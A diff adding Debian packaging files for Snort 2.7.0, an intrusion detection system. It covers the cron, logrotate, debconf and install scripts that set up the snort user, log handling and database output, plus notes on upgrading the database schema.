--- snort-2.7.0.orig/debian/snort-inline.cron.daily
+++ snort-2.7.0/debian/snort-inline.cron.daily
@@ -0,0 +1,35 @@
+#!/bin/sh -e
+
+test -f /usr/sbin/snort || exit 0
+
+LOGFILE=/var/log/snort/alert
+PATH=/bin:/usr/bin:/sbin:/usr/sbin
+CONFIG=/etc/snort/snort.debian.conf
+. $CONFIG
+
+# Don't generate stats if we are configured not to
+[ "$DEBIAN_SNORT_SEND_STATS" = "false" ] && exit 0
+
+export DEBIAN_SNORT_STATS_RCPT DEBIAN_SNORT_STATS_THRESHOLD
+
+# Just in case it's not properly configured for whatever reason
+[ -z "$DEBIAN_SNORT_STATS_THRESHOLD" ] && DEBIAN_SNORT_STATS_THRESHOLD=1
+[ -z "$DEBIAN_SNORT_STATS_RCPT" ] && DEBIAN_SNORT_STATS_RCPT=root
+
+# Cannot use logrotate to rotate these logfiles...
+# 'rotate' saved RAW-Ethernet streams
+# New snort has different naming scheme, old one still here for upgrades
+find /var/log/snort -name "snort-*@*.log" -mtime +15 | xargs --no-run-if-empty rm
+find /var/log/snort -name "tcpdump.log.*" -mtime +15 | xargs --no-run-if-empty rm
+find /var/log/snort -name "snort.log.*" -mtime +15 | xargs --no-run-if-empty rm
+
+# Mail snort stats
+if [ -s $LOGFILE ]; then
+	(echo "To: $DEBIAN_SNORT_STATS_RCPT"; snort-stat -a -t $DEBIAN_SNORT_STATS_THRESHOLD < $LOGFILE) | sendmail -t
+fi
+
+# Restarting snort is now handled by the logrotate configuration.
+# The 'intelligence' of not to start in certain startup-modes moved
+# to the init.d script as well.
+
+exit 0
--- snort-2.7.0.orig/debian/snort-pgsql.ADD.templates
+++ snort-2.7.0/debian/snort-pgsql.ADD.templates
@@ -0,0 +1,17 @@
+
+Template: snort-pgsql/needs_db_config
+Type: note
+_Description: Configured database mandatory for Snort
+ Snort needs a configured database before it can successfully start up.
+ In order to create the structure you need to run the following commands
+ AFTER the package is installed:
+ .
+  cd /usr/share/doc/snort-pgsql/
+  zcat create_postgresql.gz | psql -U <user> -h <host> -W <databasename>
+ .
+ Fill in the correct values for the user, host, and database names.
+ PostgreSQL will prompt you for the password.
+ .
+ After you have created the database structure, you will need to start Snort
+ manually.
+
--- snort-2.7.0.orig/debian/snort-inline.debian.conf
+++ snort-2.7.0/debian/snort-inline.debian.conf
@@ -0,0 +1,12 @@
+# This file is used for options that are changed by Debian to leave
+# the original lib files untouched.
+# You have to use "dpkg-reconfigure snort(-flavour)?" to change them.
+#
+# Replace (-flavour)? by pgsql, mysql or keep it empty depending on
+# what flavour of Snort you run.
+#
+DEBIAN_SNORT_STARTUP=boot
+DEBIAN_SNORT_HOME_NET="192.168.0.0/16"
+DEBIAN_SNORT_OPTIONS="-i eth0"
+DEBIAN_SNORT_STATS_RCPT="root"
+DEBIAN_SNORT_STATS_THRESHOLD="1"
--- snort-2.7.0.orig/debian/snort.logrotate
+++ snort-2.7.0/debian/snort.logrotate
@@ -0,0 +1,16 @@
+/var/log/snort/portscan.log /var/log/snort/alert /var/log/snort/portscan2.log {
+    daily
+    rotate 7
+    compress
+    missingok
+    notifempty
+    create 0640 snort adm
+    sharedscripts
+    postrotate
+        if [ -x /usr/sbin/invoke-rc.d ]; then \
+            invoke-rc.d snort restart > /dev/null; \
+        else \
+            /etc/init.d/snort restart > /dev/null; \
+        fi; 
+    endscript
+}
--- snort-2.7.0.orig/debian/snort-rules-default.dirs
+++ snort-2.7.0/debian/snort-rules-default.dirs
@@ -0,0 +1 @@
+etc/snort/rules
--- snort-2.7.0.orig/debian/snort-mysql.preinst
+++ snort-2.7.0/debian/snort-mysql.preinst
@@ -0,0 +1,119 @@
+#!/bin/sh
+
+set -e
+
+# summary of how this script can be called:
+#        * <new-preinst> `install'
+#        * <new-preinst> `install' <old-version>
+#        * <new-preinst> `upgrade' <old-version>
+#        * <old-preinst> `abort-upgrade' <new-version>
+
+DEFAULT=/etc/default/snort
+PARAMETERS=/etc/snort/snort.common.parameters
+
+# Initialise variables
+SNORTUSER=""
+SNORTGROUP=""
+LOGDIR=""
+
+check_parameters() {
+# Check if the old parameters file is there and this is
+# an upgrade (default is not)
+	# Abort if either the old parameters file does not exist
+	# or if the new default has already been installed
+	[ ! -r "$PARAMETERS" ] && return 
+	[ -r "$DEFAULT" ] && return 
+	
+	# Extract our values from there
+	logdir=`cat $PARAMETERS | perl -ne 'print $1 if /-l\s+([\w\/]+)/'`
+	user_snort=`cat $PARAMETERS | perl -ne 'print $1 if /-u\s+(\w+)/'`
+	group_snort=`cat $PARAMETERS | perl -ne 'print $1 if /-g\s+(\w+)/'`
+	extraparms=`cat $PARAMETERS  | sed -e 's/-l[[:space:]]\+[\/[:alnum:]]\+[[:space:]]\+//g; s/-u[[:space:]]\+[[:alnum:]]\+[[:space:]]*//g; s/-g[[:space:]]\+[[:alnum:]]\+[[:space:]]*//g;'`
+	echo "Creating new $DEFAULT configuration based on $PARAMETERS"
+	cat <<EOF >$DEFAULT
+# Parameters for the daemon
+PARAMS="$extraparms"
+# Logging directory
+LOGDIR="$logdir"
+# Snort user
+SNORTUSER="$user_snort"
+# Snort group
+SNORTGROUP="$group_snort"
+EOF
+	return
+}
+
+case "$1" in
+    install|upgrade)
+
+	check_parameters
+	[ -r "$DEFAULT" ] && . $DEFAULT
+	# Sane defaults, just in case
+	[ -z "$SNORTUSER" ] && SNORTUSER=snort
+	[ -z "$SNORTGROUP" ] && SNORTGROUP=snort
+	[ -z "$LOGDIR" ] && LOGDIR=/var/log/snort
+
+	# create snort user to avoid running snort as root
+	# 1. create group if not existing
+	if ! getent group | grep -q "^$SNORTGROUP:" ; then
+		addgroup --quiet --system $SNORTGROUP 2>/dev/null || true
+	fi
+	# 2. create homedir if not existing
+	test -d $LOGDIR || mkdir $LOGDIR
+	# 3. create user if not existing
+	if ! getent passwd | grep -q "^$SNORTUSER:"; then
+	adduser --quiet \
+	        --system \
+		--ingroup $SNORTGROUP \
+		--no-create-home \
+		--disabled-password \
+		$SNORTUSER 2>/dev/null || true
+	fi
+	# 4. adjust passwd entry
+	usermod -c "Snort IDS" \
+		-d $LOGDIR \
+		-g $SNORTGROUP \
+		$SNORTUSER
+	# 5. adjust file and directory permissions
+	if ! dpkg-statoverride --list $LOGDIR >/dev/null
+	then
+		chown -R $SNORTUSER:adm $LOGDIR
+		chmod u=rwx,g=rxs,o= $LOGDIR
+	fi
+		
+	# setup /etc/snort
+	test -d /etc/snort || mkdir /etc/snort
+
+	# move config file to new location
+	if [ -e /etc/snort.conf ]; then
+	    mv /etc/snort.conf /etc/snort/snort.conf
+	fi
+
+	# rename probably existing cron job with old name
+	if [ -e /etc/cron.daily/snort ]; then
+	    mv /etc/cron.daily/snort /etc/cron.daily/5snort
+	fi
+
+	# If this is the first time we are installation then create
+	# the /etc/snort/db-pending-config
+	if [ "$1" = "install" ] && [ -z "$2" ] ; then
+	touch /etc/snort/db-pending-config
+	fi
+
+    ;;
+    configure)
+    ;;
+    abort-upgrade)
+    ;;
+    *)
+        echo "preinst called with unknown argument \`$1'" >&2
+        exit 0
+    ;;
+esac
+
+# dh_installdeb will replace this with shell code automatically
+# generated by other debhelper scripts.
+
+#DEBHELPER#
+
+exit 0
--- snort-2.7.0.orig/debian/snort-common.config
+++ snort-2.7.0/debian/snort-common.config
@@ -0,0 +1,46 @@
+#!/bin/sh -e
+
+. /usr/share/debconf/confmodule
+
+# This is a list of deprecated preprocessors used to detect
+# bad configuration that will prevent Snort from running
+# based on http://cvs.snort.org/viewcvs.cgi/snort/src/preprocessors/Attic/
+OLD_PREPROCESSORS="anomsensor asn1 conversation defrag defrag2 fnord frag2 http_decode httpflow minfrag portscan portscan2 tcp_stream tcp_stream2 tcp_stream3 telnet_negotiation unidecode xlink2state"
+# List of valid preprocessors (taken from src/preprocessor)
+# or generated using:
+# grep RegisterPreprocessor src/preprocessors/* |perl -ne 'print $1." " if /\("(.*?)",/' |sort -u
+# [Currently not used since the user might have custom preprocessors]
+VALID_PREPROCESSORS="s4UDP s4UDPPrune arpspoof arpspoof_detect_host arpspoof bo backorifice flow flow frag3_global frag3_engine frag3 frag3insert frag3rebuild httpinspect PerfMonitor perfmon rpc_decode rpcdecode sfportscan sfportscan stream4 stream4_reassemble stream4_external s4 s4PktInsert s4NewSess s4GetSess s4State s4StateAsync s4StateAction s4Flush s4BuildPacket s4ProcessRebuilt s4StateActionAsync s4Prune stream5_global stream5_tcp stream5_udp stream5_icmp s5 s5tcp s5udp s5icmp"
+
+CONFIG_FILE=/etc/snort/snort.conf
+deprecated=0
+
+if test -f $CONFIG_FILE
+then
+	for prep in $OLD_PREPROCESSORS
+	do
+		found_deprecated=`egrep -i "^preprocessor $prep:+" $CONFIG_FILE | sed -e 's/:.*//'`
+		if [ -n "$found_deprecated" ] ; then
+			deprecated=1
+			deprecated_list="$found_deprecated $deprecated_list"
+		fi
+	done
+fi
+
+# We should warn the user if we found some deprecated preprocessor
+#
+# NOTE: This is done on config to urge the user to
+# overwrites the configuration later on if he is given the chance.
+if [ "$deprecated" -eq 1 ] ; then
+	deprecated_list=`echo $deprecated_list |sed -e 's/ $//'`
+#	echo "Your $CONFIG_FILE is using out of date preprocessors ($deprecated_list) you should upgrade!"
+	db_subst snort/deprecated_config DEP_CONFIG "$deprecated_list" || true
+	db_input high snort/deprecated_config || true
+	db_go || true
+fi
+
+db_stop
+
+#DEBHELPER# 
+
+exit 0
--- snort-2.7.0.orig/debian/snort-common.examples
+++ snort-2.7.0/debian/snort-common.examples
@@ -0,0 +1 @@
+debian/my/snort_rules_update
--- snort-2.7.0.orig/debian/README-database-upgrade.Debian
+++ snort-2.7.0/debian/README-database-upgrade.Debian
@@ -0,0 +1,54 @@
+ DATABASE CHANGES
+------------------
+
+The database layout has changed a bit in different Snort releases:
+
+- DB schema v107
+[ introduced in Snort 2.6 ]
+  Added signature.sig_gid to the schema.
+
+  Upgrading from v106 -> v107 is as simple as:
+
+  mysql> ALTER TABLE signature ADD sig_gid INT UNSIGNED;
+  mysql> UPDATE `schema` SET vseq=107;
+  mysql> UPDATE `schema` SET ctime=now();
+
+  psql> ALTER TABLE signature ADD sig_gid INT8;
+  psql> UPDATE schema SET vseq=107;
+  psql> UPDATE schema SET ctime=now();
+
+
+- DB schema v106
+[ introduced in Snort 1.9 ]
+  Added the sensor.last_cid field to the schema so the
+  database can store the last used cid for a given sensor.
+  This field will ensure that a cid will never be reused.
+
+  Upgrading from v105 -> v106 is as simple as:
+
+  mysql> ALTER TABLE sensor ADD last_cid INT UNSIGNED NOT NULL;
+  mysql> UPDATE `schema` SET vseq=106;
+  mysql> UPDATE `schema` SET ctime=now();
+
+  psql> ALTER TABLE sensor ADD last_cid INT8;
+  psql> UPDATE schema SET vseq=106;
+  psql> UPDATE schema SET ctime=now();
+
+FINAL NOTE
+----------
+
+These changes have to be made as Database administrator. For MySQL
+you can use the debian-sys-maint's password available at
+/etc/mysql/debian.cnf and connect like this to fix the database:
+
+    mysql -u debian-sys-maint -h localhost -p SNORT_DB
+
+Where SNORT_DB is the name of your alert database (typically 'snort')
+
+For PostgreSQL you can 'su' to the postgres user in the system
+the database is installed in and run 
+
+    psql -h localhost -p SNORT_DB
+
+--- Javier Fernandez-Sanguino <jfs@debian.org> Thu, 01 May 2008 22:22:21 +0200
+
--- snort-2.7.0.orig/debian/snort-inline.default
+++ snort-2.7.0/debian/snort-inline.default
@@ -0,0 +1,25 @@
+# Parameters for the daemon
+# Add any additional parameteres here.
+PARAMS="-m 027 -D -d "
+#
+# Snort user
+# This user will be used to launch snort. Notice that the 
+# preinst script of the package might do changes to the user 
+# (home directory, User Name) when the package is upgraded or
+# reinstalled.  So, do *not* change this to 'root' or to any other user 
+# unless you are sure there is no problem with those changes being introduced.
+# 
+SNORTUSER="snort"
+#
+# Logging directory
+# Snort logs will be dropped here and this will be the home
+# directory for the SNORTUSER. If you change this value you should
+# change the /etc/logrotate.d/snort definition too, otherwise logs
+# will not be rotated properly.
+#
+LOGDIR="/var/log/snort"
+#
+# Snort group
+# This is the group that the snort user will be added to.
+#
+SNORTGROUP="snort"
--- snort-2.7.0.orig/debian/snort.docs
+++ snort-2.7.0/debian/snort.docs
@@ -0,0 +1,12 @@
+doc/AUTHORS
+doc/BUGS
+doc/CREDITS
+doc/NEWS
+doc/README
+doc/README.FLEXRESP
+doc/README.PLUGINS
+doc/USAGE
+doc/README.database
+doc/README.csv
+debian/my/snort_rules.html
+debian/README.Maintainer
--- snort-2.7.0.orig/debian/snort-pgsql.postinst
+++ snort-2.7.0/debian/snort-pgsql.postinst
@@ -0,0 +1,253 @@
+#!/bin/sh -e
+
+CONFIG=/etc/snort/snort.debian.conf
+
+. /usr/share/debconf/confmodule
+test $DEBIAN_SCRIPT_DEBUG && set -v -x
+
+# summary of how this script can be called:
+#        * <postinst> `configure' <most-recently-configured-version>
+#        * <old-postinst> `abort-upgrade' <new version>
+#        * <conflictor's-postinst> `abort-remove' `in-favour' <package>
+#          <new-version>
+#        * <deconfigured's-postinst> `abort-deconfigure' `in-favour'
+#          <failed-install-package> <version> `removing'
+#          <conflicting-package> <version>
+# for details, see /usr/doc/packaging-manual/
+#
+# quoting from the policy:
+#     Any necessary prompting should almost always be confined to the
+#     post-installation script, and should be protected with a conditional
+#     so that unnecessary prompting doesn't happen if a package's
+#     installation fails and the `postinst' is called with `abort-upgrade',
+#     `abort-remove' or `abort-deconfigure'.
+
+case "$1" in
+    install)
+	;;
+    upgrade)
+	db_get snort-pgsql/startup || true
+	if [ "$RET" = "manual" ]; then
+		#db_fset snort-pgsql/please_restart_manually seen false
+		db_beginblock
+		db_input high snort-pgsql/please_restart_manually || true
+		db_endblock
+		db_go
+		db_stop
+	fi
+	;;
+    configure)
+	# edit config file
+	db_get snort-pgsql/startup || true; 		STARTUP=$RET
+	db_get snort-pgsql/interface || true; 	INTERFACE="$RET"
+	db_get snort-pgsql/address_range || true;	ADDRESS_RANGE="$RET"
+	db_get snort-pgsql/disable_promiscuous || true; DISABLE_PROMISCUOUS=$RET
+	db_get snort-pgsql/reverse_order || true;	REVERSE_ORDER=$RET
+        db_get snort-pgsql/send_stats || true;        STATS_SEND="$RET"
+	db_get snort-pgsql/stats_rcpt || true;	STATS_RCPT="$RET"
+	db_get snort-pgsql/stats_treshold || true;	STATS_THRESHOLD="$RET"
+	db_get snort-pgsql/options || true;		OPTIONS="$RET"
+
+	test "$DISABLE_PROMISCUOUS" = "true" && OPTIONS="$OPTIONS -p"
+	test "$REVERSE_ORDER" = "true" && OPTIONS="$OPTIONS -o"
+	# Failsafe in case the values above are blank (jfs)
+	[ -z "$STATS_RCPT" ] && STATS_RCPT=root
+	[ -z "$STATS_THRESHOLD" ] && STATS_THRESHOLD=1
+	#STATS_RCPT=`echo "$STATS_RCPT" | sed -e 's/@/\\\\@/g' -e 's/,/\\\\,/g'`
+
+	cat <<EOF >$CONFIG
+# This file is used for options that are changed by Debian to leave
+# the original lib files untouched.
+# You have to use "dpkg-reconfigure snort" to change them.
+
+DEBIAN_SNORT_STARTUP="$STARTUP"
+DEBIAN_SNORT_HOME_NET="$ADDRESS_RANGE"
+DEBIAN_SNORT_OPTIONS="$OPTIONS"
+DEBIAN_SNORT_INTERFACE="$INTERFACE"
+DEBIAN_SNORT_SEND_STATS="$STATS_SEND"
+DEBIAN_SNORT_STATS_RCPT="$STATS_RCPT"
+DEBIAN_SNORT_STATS_THRESHOLD="$STATS_THRESHOLD"
+EOF
+
+	if [ -f /etc/snort/snort.conf ]; then
+		# insert database config stuff in the configuration file,
+		# or configure it for syslog-logging.
+		db_get snort-pgsql/configure_db
+		if  [ "$RET" = "true" ]; then
+			db_get snort-pgsql/db_host || true; DB_HOST=$RET
+			db_get snort-pgsql/db_database || true; DB_DATABASE=$RET
+			db_get snort-pgsql/db_user || true; DB_USER=$RET
+			db_get snort-pgsql/db_pass || true; DB_PASS=$RET
+
+			# Here we put the database stuff in the config file.
+			TEMPFILE=`mktemp`
+			cat /etc/snort/snort.conf | while read LINE
+			do
+				if [ "$LINE" = "# (#DBSTART#)" ]
+				then
+					echo "# (#DBSTART#)" >> $TEMPFILE
+					echo -n "output database: log, postgresql, " >> $TEMPFILE
+					if [ $DB_USER ]
+					then
+						echo -n "user=$DB_USER " >> $TEMPFILE
+					fi
+					if [ $DB_PASS ]
+					then
+						echo -n "password=$DB_PASS " >> $TEMPFILE
+					fi
+					if [ $DB_DATABASE ]
+					then
+						echo -n "dbname=$DB_DATABASE " >> $TEMPFILE
+					fi
+					if [ $DB_HOST ]
+					then
+						echo -n "host=$DB_HOST " >> $TEMPFILE
+					fi
+					echo " " >> $TEMPFILE
+					echo "# (#DBEND#)" >> $TEMPFILE
+					break
+				else
+					echo $LINE >> $TEMPFILE
+				fi
+			done
+
+			WRITE=0
+			cat /etc/snort/snort.conf | while read LINE
+			do
+				if [ $WRITE -eq 1 ]
+				then
+					echo $LINE >> $TEMPFILE
+				fi
+
+				if [ "$LINE" = "# (#DBEND#)" ]
+				then
+					WRITE=1
+				fi
+			done
+			mv -f $TEMPFILE /etc/snort/snort.conf
+		fi
+
+		# Ensure the config file is readable by root.root and mode 600
+		if ! dpkg-statoverride --list /etc/snort/snort.conf >/dev/null
+		then
+			chown root:snort /etc/snort/snort.conf
+			chmod 640 /etc/snort/snort.conf
+		fi
+	fi
+
+	db_stop
+
+	# Check for left-over files from woody packages.
+	OLDCONF=/etc/snort/snort.rules.conf
+	if [ -f $OLDCONF ]; then
+		mv $OLDCONF $OLDCONF.OBSOLETE
+	fi
+
+	# Update the rc.d's
+	update-rc.d snort defaults >/dev/null
+
+	# in the case we reconfigure we have to restart and not just to start.
+	if [ -x "`which invoke-rc.d 2>/dev/null`" ]; then
+		invoke-rc.d snort stop || exit $?
+	else
+		/etc/init.d/snort stop || exit $?
+	fi
+	;;
+    abort-upgrade)
+	;;
+    *)
+	echo "postinst called with unknown argument \`$1'" >&2
+	exit 0
+	;;
+esac
+
+if [ "$STARTUP" = "dialup" ]; then
+
+	# Try to guess environments for all pppds we have no .env for...
+	for PPPD_PID in $(pidof pppd ipppd); do
+		# If we got an empty PID (however), we break here
+		test "$PPPD_PID" || continue
+
+		#
+		# This is a lot of shell voodoo, let's try to figure it out:
+		# 1. egrep:
+		#    It greps for our current pppd PID in all pppd and ipppd
+		#    pidfiles.
+		#    It *should* return exactly one file name: the one with
+		#    our current pppd PID in it; however, to be safe, we fence
+		#    it with a head -1.
+		# 2. basename $(egrep ...) .pid:
+		#    It takes the file name from the egrep and strips off its
+		#    path and the .pid suffix
+		# 3. sed:
+		#    Unfortunately the filenames of pppd and ipppd differ:
+		#    pppd uses $INTERFACE.pid, while ipppd uses
+		#    ipppd.$INTERFACE.pid.
+		#    The .pid is already stripped off by basename, thus, we
+		#    just strip off any "ipppd." prefix and end up in the
+		#    plain interface name.
+		#    Maybe pppd decides to change it's pidfile naming
+		#    convention according to ipppd somewhere in the future,
+		#    thus, we use '^i\?pppd\.' (sed eregex) and thus strip
+		#    off all "ipppd." and all "pppd." prefixes. This doesn't
+		#    harm anyways.
+		#    Because of the pppd pidfile naming convention, our
+		#    approach works always with ipppd and mostly with pppd:
+		#    the latter only, if the user did not decide to rename
+		#    his ppp interface to something else than ppp*
+		#    (not possible currently, afaics).
+		#
+		PPP_IFACE=$(basename $(egrep -l "^[[:space:]]*$PPPD_PID[[:space:]]*\$" /var/run/ppp*.pid /var/run/ipppd.*.pid 2> /dev/null | head -1) .pid | sed -e 's/^i\?pppd\.//')
+
+		#
+		# If we got no interface from pidfiles (because there are no
+		# pidfiles, for example), we assume the most common case:
+		# one pppd with default route set.
+		# This is ugly, but there is no other chance. Let's hope,
+		# nobody ever manages multiple pppds without pidfiles for
+		# them.
+		#
+		test "$PPP_IFACE" || PPP_IFACE=$(route -n |
+			awk '/^0\.0\.0\.0 / { print $8 }')
+
+		# If we couldn't discover an interface name, we break here
+		test "$PPP_IFACE" || continue
+
+		PPP_LOCAL=$(ifconfig $PPP_IFACE |
+			awk '/inet addr:/ { gsub("addr:", ""); print $2 }')
+
+		# If we couldn't discover a local IP, we break here
+		test "$PPP_LOCAL" || continue
+
+		ENVFILE=/var/run/snort_$PPP_IFACE.env
+
+		# If we already have an .env for that interface, we break here
+		test -e "$ENVFILE" && continue
+
+		# Write .env for that interface
+		echo "Creating missing $ENVFILE"
+		echo "PPPD_PID=$PPPD_PID"    > "$ENVFILE"
+		echo "PPP_IFACE=$PPP_IFACE" >> "$ENVFILE"
+		echo "PPP_LOCAL=$PPP_LOCAL" >> "$ENVFILE"
+
+		# If such a snort is still running, just kill it
+		ps -ef | grep /usr/sbin/snort | grep "$PPP_LOCAL" |
+			grep "$PPP_IFACE" | awk '{ print $2 }' |
+			xargs --no-run-if-empty kill -s KILL >/dev/null
+	done
+fi
+
+if [ "$STARTUP" = "boot" ] || [ "$STARTUP" = "dialup" ]; then
+	if [ -x "`which invoke-rc.d 2>/dev/null`" ]; then
+		invoke-rc.d snort start || exit $?
+	else
+		/etc/init.d/snort start || exit $?
+	fi
+fi
+
+# dh_installdeb will replace this with shell code automatically
+# generated by other debhelper scripts.
+
+#DEBHELPER#
+
+exit 0
--- snort-2.7.0.orig/debian/snort-mysql.postinst
+++ snort-2.7.0/debian/snort-mysql.postinst
@@ -0,0 +1,251 @@
+#!/bin/sh -e
+
+CONFIG=/etc/snort/snort.debian.conf
+
+. /usr/share/debconf/confmodule
+test $DEBIAN_SCRIPT_DEBUG && set -v -x
+
+# summary of how this script can be called:
+#        * <postinst> `configure' <most-recently-configured-version>
+#        * <old-postinst> `abort-upgrade' <new version>
+#        * <conflictor's-postinst> `abort-remove' `in-favour' <package>
+#          <new-version>
+#        * <deconfigured's-postinst> `abort-deconfigure' `in-favour'
+#          <failed-install-package> <version> `removing'
+#          <conflicting-package> <version>
+# for details, see /usr/doc/packaging-manual/
+#
+# quoting from the policy:
+#     Any necessary prompting should almost always be confined to the
+#     post-installation script, and should be protected with a conditional
+#     so that unnecessary prompting doesn't happen if a package's
+#     installation fails and the `postinst' is called with `abort-upgrade',
+#     `abort-remove' or `abort-deconfigure'.
+
+case "$1" in
+    install)
+	;;
+    upgrade)
+	db_get snort-mysql/startup || true
+	if [ "$RET" = "manual" ]; then
+		#db_fset snort-mysql/please_restart_manually seen false
+		db_beginblock
+		db_input high snort-mysql/please_restart_manually || true
+		db_endblock
+		db_go
+		db_stop
+	fi
+	;;
+    configure)
+	# edit config file
+	db_get snort-mysql/startup || true; 		STARTUP=$RET
+	db_get snort-mysql/interface || true; 	INTERFACE="$RET"
+	db_get snort-mysql/address_range || true;	ADDRESS_RANGE="$RET"
+	db_get snort-mysql/disable_promiscuous || true; DISABLE_PROMISCUOUS=$RET
+	db_get snort-mysql/reverse_order || true;	REVERSE_ORDER=$RET
+        db_get snort-mysql/send_stats || true;        STATS_SEND="$RET"
+	db_get snort-mysql/stats_rcpt || true;	STATS_RCPT="$RET"
+	db_get snort-mysql/stats_treshold || true;	STATS_THRESHOLD="$RET"
+	db_get snort-mysql/options || true;		OPTIONS="$RET"
+
+	test "$DISABLE_PROMISCUOUS" = "true" && OPTIONS="$OPTIONS -p"
+	test "$REVERSE_ORDER" = "true" && OPTIONS="$OPTIONS -o"
+	# Failsafe in case the values above are blank (jfs)
+	[ -z "$STATS_RCPT" ] && STATS_RCPT=root
+	[ -z "$STATS_THRESHOLD" ] && STATS_THRESHOLD=1
+	#STATS_RCPT=`echo "$STATS_RCPT" | sed -e 's/@/\\\\@/g' -e 's/,/\\\\,/g'`
+
+	cat <<EOF >$CONFIG
+# This file is used for options that are changed by Debian to leave
+# the original lib files untouched.
+# You have to use "dpkg-reconfigure snort" to change them.
+
+DEBIAN_SNORT_STARTUP="$STARTUP"
+DEBIAN_SNORT_HOME_NET="$ADDRESS_RANGE"
+DEBIAN_SNORT_OPTIONS="$OPTIONS"
+DEBIAN_SNORT_INTERFACE="$INTERFACE"
+DEBIAN_SNORT_SEND_STATS="$STATS_SEND"
+DEBIAN_SNORT_STATS_RCPT="$STATS_RCPT"
+DEBIAN_SNORT_STATS_THRESHOLD="$STATS_THRESHOLD"
+EOF
+
+	if [ -f /etc/snort/snort.conf ]; then
+		# insert database config stuff in the configuration file,
+		# or configure it for syslog-logging.
+		db_get snort-mysql/configure_db
+		if  [ "$RET" = "true" ]; then
+			db_get snort-mysql/db_host || true; DB_HOST=$RET
+			db_get snort-mysql/db_database || true; DB_DATABASE=$RET
+			db_get snort-mysql/db_user || true; DB_USER=$RET
+			db_get snort-mysql/db_pass || true; DB_PASS=$RET
+
+			# Here we put the database stuff in the config file.
+			TEMPFILE=`mktemp`
+			cat /etc/snort/snort.conf | while read LINE
+			do
+				if [ "$LINE" = "# (#DBSTART#)" ]
+				then
+					echo "# (#DBSTART#)" >> $TEMPFILE
+					echo -n "output database: log, mysql, " >> $TEMPFILE
+					if [ $DB_USER ]
+					then
+						echo -n "user=$DB_USER " >> $TEMPFILE
+					fi
+					if [ $DB_PASS ]
+					then
+						echo -n "password=$DB_PASS " >> $TEMPFILE
+					fi
+					if [ $DB_DATABASE ]
+					then
+						echo -n "dbname=$DB_DATABASE " >> $TEMPFILE
+					fi
+					if [ $DB_HOST ]
+					then
+						echo -n "host=$DB_HOST " >> $TEMPFILE
+					fi
+					echo " " >> $TEMPFILE
+					echo "# (#DBEND#)" >> $TEMPFILE
+					break
+				else
+					echo $LINE >> $TEMPFILE
+				fi
+			done
+
+			WRITE=0
+			cat /etc/snort/snort.conf | while read LINE
+			do
+				if [ $WRITE -eq 1 ]
+				then
+					echo $LINE >> $TEMPFILE
+				fi
+
+				if [ "$LINE" = "# (#DBEND#)" ]
+				then
+					WRITE=1
+				fi
+			done
+			mv -f $TEMPFILE /etc/snort/snort.conf
+		fi
+
+		# Ensure the config file is readable by root.root and mode 600
+		if ! dpkg-statoverride --list /etc/snort/snort.conf >/dev/null
+		then
+			chown root:snort /etc/snort/snort.conf
+			chmod 640 /etc/snort/snort.conf
+		fi
+	fi
+
+	db_stop
+
+	# Check for left-over files from woody packages.
+	OLDCONF=/etc/snort/snort.rules.conf
+	if [ -f $OLDCONF ]; then
+		mv $OLDCONF $OLDCONF.OBSOLETE
+	fi
+
+	# Update the rc.d's
+	update-rc.d snort defaults >/dev/null
+
+	# in the case we reconfigure we have to restart and not just to start.
+	if [ -x "`which invoke-rc.d 2>/dev/null`" ]; then
+		invoke-rc.d snort stop || exit $?
+	else
+		/etc/init.d/snort stop || exit $?
+	fi
+	;;
+    abort-upgrade)
+	;;
+    *)
+	echo "postinst called with unknown argument \`$1'" >&2
+	exit 0
+	;;
+esac
+
+if [ "$STARTUP" = "dialup" ]; then
+
+	# Try to guess environments for all pppds we have no .env for...
+	for PPPD_PID in $(pidof pppd ipppd); do
+		# If we got an empty PID (however), we break here
+		test "$PPPD_PID" || continue
+
+		#
+		# This is a lot of shell voodoo, let's try to figure it out:
+		# 1. egrep:
+		#    It greps for our current pppd PID in all pppd and ipppd
+		#    pidfiles.
+		#    It *should* return exactly one file name: the one with
+		#    our current pppd PID in it; however, to be safe, we fence
+		#    it with a head -1.
+		# 2. basename $(egrep ...) .pid:
+		#    It takes the file name from the egrep and strips off its
+		#    path and the .pid suffix
+		# 3. sed:
+		#    Unfortunately the filenames of pppd and ipppd differ:
+		#    pppd uses $INTERFACE.pid, while ipppd uses
+		#    ipppd.$INTERFACE.pid.
+		#    The .pid is already stripped off by basename, thus, we
+		#    just strip off any "ipppd." prefix and end up in the
+		#    plain interface name.
+		#    Maybe pppd decides to change it's pidfile naming
+		#    convention according to ipppd somewhere in the future,
+		#    thus, we use '^i\?pppd\.' (sed eregex) and thus strip
+		#    off all "ipppd." and all "pppd." prefixes. This doesn't
+		#    harm anyways.
+		#    Because of the pppd pidfile naming convention, our
+		#    approach works always with ipppd and mostly with pppd:
+		#    the latter only, if the user did not decide to rename
+		#    his ppp interface to something else than ppp*
+		#    (not possible currently, afaics).
+		#
+		PPP_IFACE=$(basename $(egrep -l "^[[:space:]]*$PPPD_PID[[:space:]]*\$" /var/run/ppp*.pid /var/run/ipppd.*.pid 2> /dev/null | head -1) .pid | sed -e 's/^i\?pppd\.//')
+
+		#
+		# If we got no interface from pidfiles (because there are no
+		# pidfiles, for example), we assume the most common case:
+		# one pppd with default route set.
+		# This is ugly, but there is no other chance. Let's hope,
+		# nobody ever manages multiple pppds without pidfiles for
+		# them.
+		#
+		test "$PPP_IFACE" || PPP_IFACE=$(route -n |	awk '/^0\.0\.0\.0 / { print $8 }')
+
+		# If we couldn't discover an interface name, we break here
+		test "$PPP_IFACE" || continue
+
+		PPP_LOCAL=$(ifconfig $PPP_IFACE | awk '/inet addr:/ { gsub("addr:", ""); print $2 }')
+
+		# If we couldn't discover a local IP, we break here
+		test "$PPP_LOCAL" || continue
+
+		ENVFILE=/var/run/snort_$PPP_IFACE.env
+
+		# If we already have an .env for that interface, we break here
+		test -e "$ENVFILE" && continue
+
+		# Write .env for that interface
+		echo "Creating missing $ENVFILE"
+		echo "PPPD_PID=$PPPD_PID"    > "$ENVFILE"
+		echo "PPP_IFACE=$PPP_IFACE" >> "$ENVFILE"
+		echo "PPP_LOCAL=$PPP_LOCAL" >> "$ENVFILE"
+
+		# If such a snort is still running, just kill it
+		ps -ef | grep /usr/sbin/snort | grep "$PPP_LOCAL" |
+			grep "$PPP_IFACE" | awk '{ print $2 }' |
+			xargs --no-run-if-empty kill -s KILL >/dev/null
+	done
+fi
+
+if [ "$STARTUP" = "boot" ] || [ "$STARTUP" = "dialup" ]; then
+	if [ -x "`which invoke-rc.d 2>/dev/null`" ]; then
+		invoke-rc.d snort start || exit $?
+	else
+		/etc/init.d/snort start || exit $?
+	fi
